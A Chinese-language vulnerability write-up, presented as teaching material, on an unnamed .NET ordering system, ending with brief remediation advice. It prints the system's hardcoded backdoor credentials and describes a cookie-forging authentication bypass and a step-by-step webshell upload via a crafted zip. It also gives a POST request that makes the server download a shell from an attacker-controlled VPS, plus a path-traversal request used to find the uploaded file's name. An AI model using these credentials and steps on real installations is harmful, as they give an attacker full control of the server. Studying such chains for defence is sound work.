某订货系统文件上传漏洞分析
字数 1964 2025-08-20 18:17:58
某订货系统文件上传漏洞分析教学文档
0x01 系统鉴权机制分析
双重鉴权机制
-
第一层鉴权:使用.NET的
FormsAuthenticationModuleHTTP模块- 主要功能:管理用户身份验证过程(登录、票据管理、重定向等)
- 关键方法
OnEnter逻辑:- 检查当前请求是否访问登录页面(
AuthenticationConfig.AccessingLoginPage) - 非登录页面请求调用
SetSkipAuthorizationNoDemand方法 - 根据请求是否为有效Web资源决定是否跳过授权检查
- 检查当前请求是否访问登录页面(
-
第二层鉴权:自定义
AdminPage类实现- 关键方法
OnInit(页面初始化时调用) CheckPageAccess检查流程:- 检查用户是否为站点管理员
- 检查用户是否为管理员
- 检查用户是否具有页面所需特定权限
- 不符合条件则重定向到相应页面
- 关键方法
后门账户发现
- 存在硬编码后门账户:
SuperMember/MdYdt2017Admin - 登录后直接使用
userid=1101(管理员账户)
用户对象获取方式
HiContext.Current.User→ 内部调用Users.GetUserUsers.GetUser方法重载:GetUser():通过GetLoggedOnUsername()获取用户名GetUser(int userId)GetUser(int userId, bool isCacheable)GetUser(int userId, string username, bool isCacheable, bool userIsOnline)
关键绕过点:
GetLoggedOnUsername()直接从cookie中取Vshop-Member参数作为用户名- 若流程不验证密码,控制
userId或username可绕过鉴权
0x02 文件上传漏洞分析
漏洞位置
- 类:
ManageThemes(继承自AdminPage) - 文件:
/admin/ManageThemes.aspx - 关键方法:
btnUpload2_Click→PrepareDataFiles
漏洞利用条件
- 管理员权限(需使用后门账户登录)
- 上传包含以下内容的zip文件:
- 恶意文件(如webshell)
- 与模板同名的xml文件(避免
Page_Load报错)
漏洞利用步骤
- 登录系统(使用后门账户)
- 访问隐藏的上传功能(修改CSS
display:none) - 构造恶意zip包:
- 包含webshell文件(如1.aspx)
- 包含与模板同名的xml文件(如test.xml)
- 上传时修改请求参数:
- 设置
hdtempname=test(与xml文件名一致) - 确保ContentType正确
- 设置
访问路径
上传成功后webshell位于:
/Templates/master/pc/[模板名]/[恶意文件名]
示例:/Templates/master/pc/test/1.aspx
0x03 远程文件下载漏洞分析
漏洞位置
- 处理程序:
TaobaoProductHandler(API目录下) - 文件:对应
.ashx文件 - 关键方法:
ProcessRequest→ProcessTaobaoProductDown
漏洞特点
- 无需鉴权(未继承
AdminPage) - 使用
WebClient.DownloadFile下载远程文件- URL参数:通过
ImageUrls表单参数控制 - 保存路径:
/Storage/master/product/images/ - 文件名:32位随机字符串(
Guid.NewGuid()生成)
- URL参数:通过
漏洞利用步骤
- 在VPS上托管恶意文件
- 构造请求下载文件:
POST /API/TaobaoProductHandler.ashx ImageUrls=http://your-vps/shell.aspx - 文件将下载到服务器随机命名
文件名获取方法
使用FillTableForPath方法遍历目录:
- 通过cookie设置
Vshop-Member=admin绕过鉴权 - 利用路径穿越获取文件列表:
GET /path?cid=../../Storage/master/product/images/ - 响应中包含
file_list信息,可获取随机文件名
防御建议
- 移除后门账户
- 加强文件上传验证:
- 检查文件内容而不仅是扩展名
- 限制解压操作的安全目录
- 修复远程下载漏洞:
- 添加鉴权检查
- 限制下载URL为可信域名
- 禁用路径穿越功能
- 加强用户认证:
- 避免依赖cookie中的用户名
- 实现完整的会话验证机制
- 隐藏敏感功能:
- 彻底移除而非仅CSS隐藏后台功能
总结
该订货系统存在多重安全漏洞,包括:
- 硬编码后门账户
- 鉴权绕过风险
- 不安全的文件上传功能
- 未授权远程文件下载
- 目录遍历信息泄露
利用链可组合实现从普通用户到完全控制服务器的攻击路径,需全面修复。